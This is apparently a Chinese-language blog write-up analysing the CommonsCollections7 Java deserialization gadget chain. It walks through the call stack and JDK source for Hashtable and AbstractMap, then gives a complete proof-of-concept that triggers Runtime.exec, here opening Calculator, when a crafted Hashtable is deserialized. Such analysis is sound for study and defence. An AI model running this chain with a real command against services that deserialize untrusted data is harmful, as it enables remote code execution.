java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

cc7的后半段还是和cc1的后半段相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.util.AbstractMap;
import java.util.HashMap;

public class cc7 {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open -a Calculator"})});

HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
}
}

在cc1中是通过AnnotationInvocationHandler#invoke来触发对恶意代理handler调用其invoke方法从而触发LazyMap#get方法。

cc7中是通过Map#equals(第21行)直接来触发对LazyMap#get方法的调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<K,V> m = (Map<K,V>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

如果这里的m是我们可控的,那么我们设置m为LazyMap,即可完成后面的rce触发

先寻找调用equals方法的点,cc7中使用了HashTable#reconstitutionPut

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = hash(key);
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
Entry<K,V> e = tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

这里的key如果是我们可控的,那么m就是我们可控的,因为在equals方法里面有Map<K,V> m = (Map<K,V>) o;,o是传入的对象,所以key也就是o也就是m,接着在HashTable#readObject中调用了reconstitutionPut方法,并将key传递进去

1
2
3
4
5
6
for (; elements > 0; elements--) {
K key = (K)s.readObject();
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(newTable, key, value);
}

key是从readObject中得到的,我们来看看writeObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
for (int index = 0; index < table.length; index++) {
Entry<K,V> entry = table[index];

while (entry != null) {
entryStack =
new Entry<>(0, entry.key, entry.value, entryStack);
entry = entry.next;
}
}
}

// Write out the key/value objects from the stacked entries
while (entryStack != null) {
s.writeObject(entryStack.key);
s.writeObject(entryStack.value);
entryStack = entryStack.next;
}

这里传递的实际上就是HashTable#put时添加进去的key和value

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"})
};
ChainedTransformer chain = new ChainedTransformer(trans);
//构造两个hash值相同的lazymap
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, chain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chain);
lazyMap2.put("zZ", 1);
Hashtable hashTable = new Hashtable();
hashTable.put(lazyMap1, 1);
hashTable.put(lazyMap2, 2);
lazyMap2.remove("yy");

try{
ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("./cc7"));
objectOutputStream.writeObject(hashTable);
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream("./cc7"));
objectInputStream.readObject();
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}

}
}

poc的一些说明:

1.两次put的原因:第一次调用reconstitutionPut时会把key和value注册进tab中,因为tab是空所以无法进入循环

1
2
3
4
5
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}

第二次调用reconstitutionPut时,tab里面有值不为空就能进入循环完成利用链

2.两次put其中map中key的值分别为yy和zZ

通过代码可以知道,想要调用equals方法,就需要使它hashcode相等,这样的一对值不是只有yy和zZ,比如aa和bB也可以

![4](https://www.ghtwf01.cn/img/ysoserial URLDNS&CommonsCollections1-7分析/4.png)

3.最后要remove一个yy

第二次put的时候会多一个yy键,对应值为UNIXProcess这个类的实例,它并没有继承Serializable,无法被序列化所以如果不去除会导致报错